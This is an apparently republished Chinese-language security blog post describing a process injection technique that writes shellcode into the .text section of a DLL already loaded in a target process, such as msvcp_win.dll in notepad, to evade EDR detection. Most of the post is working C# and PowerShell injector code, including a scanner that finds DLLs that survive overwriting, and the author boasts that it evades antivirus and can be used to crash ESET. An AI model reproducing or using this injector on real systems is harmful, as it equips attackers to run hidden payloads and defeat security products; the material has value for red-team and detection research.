前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Alternative Process Injection

Alternative Process Injection

作者头像
黑白天安全
发布2021-12-29 12:34:56
9250
发布2021-12-29 12:34:56
举报
文章被收录于专栏:黑白天安全团队

前言

比较常见的进程注入是:CreateRemoteThread。

主要过程为:

1.VirtualAllocEx -> 分配内存空间来暂存 shellcode

2 .WriteProcessMemory -> 将解密/解码的shellcode写入内存空间

3 .CreateRemoteThread -> 在进程上新建一个线程,起始地址指向内存空间

但是这样的手法早已被EDR拦得死死的。

本文的手法主要是将 shellcode 注入已加载的 DLL 内存页面来替代常见的注入手法来绕过EDR的检测。

获取可操作DLL

一般情况下:如果我们把shellcode写进现有的 DLL 内存页面时,进程可能会崩溃,因为该内存页面已被进程使用。

那么我们如果需要注入到正在加载中的dll时,我们需要满足以下条件:

  • 内存页应该属于 .text 部分,因为它本质上在内存页上具有执行权(即PAGE_EXECUTE_READ
  • 内存页应该提供足够的空间来存储shellcode
  • 覆盖内存页中的字节不应使进程崩溃
  • DLL 由不同的进程共同加载

在原文中作者给出了一个用来测试的C#

代码语言:javascript
复制
static void Main(string[] args)
{
    string targetProcess = @"c:\Windows\System32\notepad.exe";
    byte[] buf = new byte[] { //Sample MsgBox shellcode// };
    STARTUPINFO si = new STARTUPINFO();
    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    bool success = CreateProcess(targetProcess, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
    Process processObj = Process.GetProcessById((int)pi.dwProcessId);
    Thread.Sleep(2000); // Sleep to make sure all modules have been loaded by the process
    Console.WriteLine("Total modules to be scanned: " + processObj.Modules.Count);
    processObj.Kill();
    Dictionary<string, bool> testDll = new Dictionary<string, bool>();
    while (testDll.Count < processObj.Modules.Count) {
        si = new STARTUPINFO();
        pi = new PROCESS_INFORMATION();
        CreateProcess(targetProcess, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
        processObj = Process.GetProcessById((int)pi.dwProcessId);
        Thread.Sleep(2000); // 休眠以确保进程已加载所有模块
        foreach (ProcessModule module in processObj.Modules) {
            if (!testDll.ContainsKey(module.FileName)) {
                IntPtr addr = (module.BaseAddress + 4096); // 获取 .text 部分的地址
                IntPtr outSize;
                uint oldProtect;
                VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x04, out oldProtect);
                WriteProcessMemory(processObj.Handle, addr, buf, buf.Length, out outSize);
                VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x20, out oldProtect);
                IntPtr hThread = CreateRemoteThread(processObj.Handle, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x0, out hThread);
                Thread.Sleep(10000);
                if (!Process.GetProcesses().Any(x => x.Id == pi.dwProcessId)) {
                    testDll.Add(module.FileName, false);
                    break;
                } else {
                    MEMORY_BASIC_INFORMATION64 mem_basic_info = new MEMORY_BASIC_INFORMATION64();
                    VirtualQueryEx(pi.hProcess, addr, out mem_basic_info, (uint)Marshal.SizeOf(mem_basic_info));
                    Console.WriteLine("Found valid candidate: " + module.FileName + ", region size available on the .text section: " + mem_basic_info.RegionSize);
                    testDll.Add(module.FileName, true);
                    processObj.Kill();
                    break;
                }
            }
        }
    }
}

代码简单:将 shellcode 注入目标进程(例如,notepad.exe)不断加载的每个 DLL 的 .text 部分,如果注入没有使进程崩溃,则返回结果。

注入方法

在原文中使用的是:远线程(CreateRemoteThread)注入.

基本方法为:

使用OpenProcess打开目标进程;

使用VirtuallocEx在目标进程中分配eXecute-Read-Write (XRW)内存;

使用WriteProcessMemory将shellcode有效内容复制到新内存;

远程进程中创建一个新的线程来执行shellcode(CreateRemoteThread);

使用VirtualFreeEx在目标进程中解除分配XRW内存;

使用CloseHandle关闭目标进程句柄。

这个注入手法这是没有使用OpenProcess打开目标进程,而是使用了往目标进程中加载的dll的.text 代码段区域进行读写shellcode。

代码语言:javascript
复制
粗暴的理解,这个技术就是把 shellcode 复制到一个 DLL 的 .text 段,并且这个 DLL 不会引起进程的奔溃(有些 DLL 只需要执行一次,没有 free ,所以覆盖没问题)带来的效果,没有内存分配相关函数。
跟Module Stomping 最主要区别在于作者的这种方法没有 Loadlibrary。
----来着@伍默(红队学院星球)

注入步骤为:

1.获取目标进程中加载目标DLL的基址:

通过获取句柄,然后列出目标进程加载的所有DLL

代码语言:javascript
复制
Get-Process -name powershell #获取目标句柄
(Get-Process -name powershell).Modules #获取目标进程加载的所有DLL

获取DLL的基址

代码语言:javascript
复制
$addr = $Modules.BaseAddress

powershell demo

代码语言:javascript
复制
$process_name = "";
  $dll_name = @("");
  $process_id = (Get-Process -name $process_name)[0].Id;
#获取进程加载的dll
  $Modules = (Get-Process -name $process_name).Modules;

  if ($Modules.moduleName.ToLower().Contains($dll_name))
  {
    $addr = $Modules.BaseAddress + 4096;;
}

C# demo

代码语言:javascript
复制
Process processObj = Process.GetProcessById(pid);
foreach (ProcessModule module in processObj.Modules)
{
    if (module.FileName.ToLower().Contains("msvcp_win.dll"))
    {
        IntPtr addr = module.BaseAddress + 4096; // Point to .text section
        //Write and inject
    }
}

2.使用VirtualProtectEx修改内存属性

找到 .text 部分的地址,使用VirtualProtectEx把内存保护标志将从RX更改为RW,允许我们把 shellcode 复制到内存页面中。

Powershell Demo:

代码语言:javascript
复制
#VirtualProtectEx调用
    [Dll_text_inject]::VirtualProtectEx(
      $hProcess,
      [IntPtr]::Zero,
      $dwSize,
      0x04,
      0x40
    );

C# Demo

代码语言:javascript
复制
uint oldProtect = 0;
VirtualProtectEx(
hProcess, addr,
(UIntPtr)buf.Length,
0x04,
out oldProtect
);

3.使用WriteProcessMemory将shellcode有效内容复制到新内存;

Powershell Demo:

代码语言:javascript
复制
[Dll_text_inject]::WriteProcessMemory(
      $hProcess,
      $addr, #要写的内存首地址
      $shellcode,
      $Shellcode.Length,
      [ref]$lpNumberOfBytesWritten #Null
    );

C# demo

代码语言:javascript
复制
WriteProcessMemory(
processObj.Handle,
addr,
buf,
buf.Length,
out outSize
);

4.使用VirtualProtectEx将再次用于将内存保护标志从RW恢复到RX

使用VirtualProtectEx ( RX->RW->RX )手动更新保护标志来进行OPSEC,防止内存页的保护标志设置为RWX/WCX。

C# demo

代码语言:javascript
复制
VirtualProtectEx(
processObj.Handle,
addr,
(UIntPtr)buf.Length,
0x20,
out oldProtect
);

powershell demo

代码语言:javascript
复制
[Dll_text_inject]::VirtualProtectEx(
      $hProcess,
      [IntPtr]::Zero,
      $dwSize,
      0x20,
      0x40
    );

5.使用CreateRemoteThread创建一个新线程

在远程进程中创建一个新的线程来执行shellcode(CreateRemoteThread)

C# demo

代码语言:javascript
复制
IntPtr hThread = CreateRemoteThread(
processObj.Handle,
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0x0,
out hThread
);

Powershell Demo

代码语言:javascript
复制
[Dll_text_inject]::CreateRemoteThread(
      $hProcess,
      [IntPtr]::Zero,
      0,
      $addr,
      [IntPtr]::Zero,
      0x0,
      [ref]$pi
    );

C# demo

代码语言:javascript
复制
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;


namespace AnotherDLLHollowing
{
    class Program
    {
        [DllImport("kernel32.dll")]
      static extern bool WriteProcessMemory(
      IntPtr hProcess,
      IntPtr lpBaseAddress,
      byte[] lpBuffer,
      Int32 nSize,
      out IntPtr lpNumberOfBytesWritten
);


        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(
      IntPtr hProcess,
      IntPtr lpThreadAttributes,
      uint dwStackSize,
      IntPtr lpStartAddress,
      IntPtr lpParameter,
      uint dwCreationFlags,
      out IntPtr lpThreadId
);


        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(
      IntPtr hProcess,
      IntPtr lpAddress,
      UIntPtr dwSize,
      uint flNewProtect,
      out uint lpflOldProtect
);


        static void Main(string[] args)
        {
            int pid = Process.GetProcessesByName("notepad")[0].Id;
            byte[] buf = new byte[] {}

      Process processObj = Process.GetProcessById(pid);

      foreach (ProcessModule module in processObj.Modules)
            {
                if (module.FileName.ToLower().Contains("msvcp_win.dll"))
                {
                    IntPtr addr = module.BaseAddress + 4096;
                    IntPtr outSize;
                    uint oldProtect;

          VirtualProtectEx(
            processObj.Handle,
            addr,
            (UIntPtr)buf.Length,
            0x04,
            out oldProtect
            );

            WriteProcessMemory(
            processObj.Handle,
            addr, buf,
            buf.Length,
            out outSize
            );

          VirtualProtectEx(
            processObj.Handle,
            addr,
            (UIntPtr)buf.Length,
            0x20,
            out oldProtect
            );

          IntPtr hThread = CreateRemoteThread(
            processObj.Handle,
            IntPtr.Zero,
            0,
            addr,
            IntPtr.Zero,
            0x0,
            out hThread
            );

                    break;
                }
            }
        }
    }
}

powershell的demo就不发了,最近在学powershell写东西,顺便写了个powershell的demo

优点

这个注入对于DLL Hollowing的优点就是:

  • 不需要加载任何新的合法库
  • 避免 IOC 丢失 PEB 模块,因为新加载的库不是使用 LdrLoadDll 调用的

但是并不是很稳定,目标进程很可能在注入后无法使用,例如我花了一点时间来怎么样注入到ESET中时,eset的进程就会崩溃,(可能是DLL的问题)。

如果在项目中没有办法绕过ESET的话,可以这样直接注崩溃ESET哈哈哈。

目前这个注入的免杀还是ok的。

感兴趣的同学还可以看看这个代码

代码语言:javascript
复制
https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadDll.cs

原文:

代码语言:javascript
复制
https://www.netero1010-securitylab.com/eavsion/alternative-process-injection
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
    • 1.获取目标进程中加载目标DLL的基址:
      • 3.使用WriteProcessMemory将shellcode有效内容复制到新内存;
        • 5.使用CreateRemoteThread创建一个新线程
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档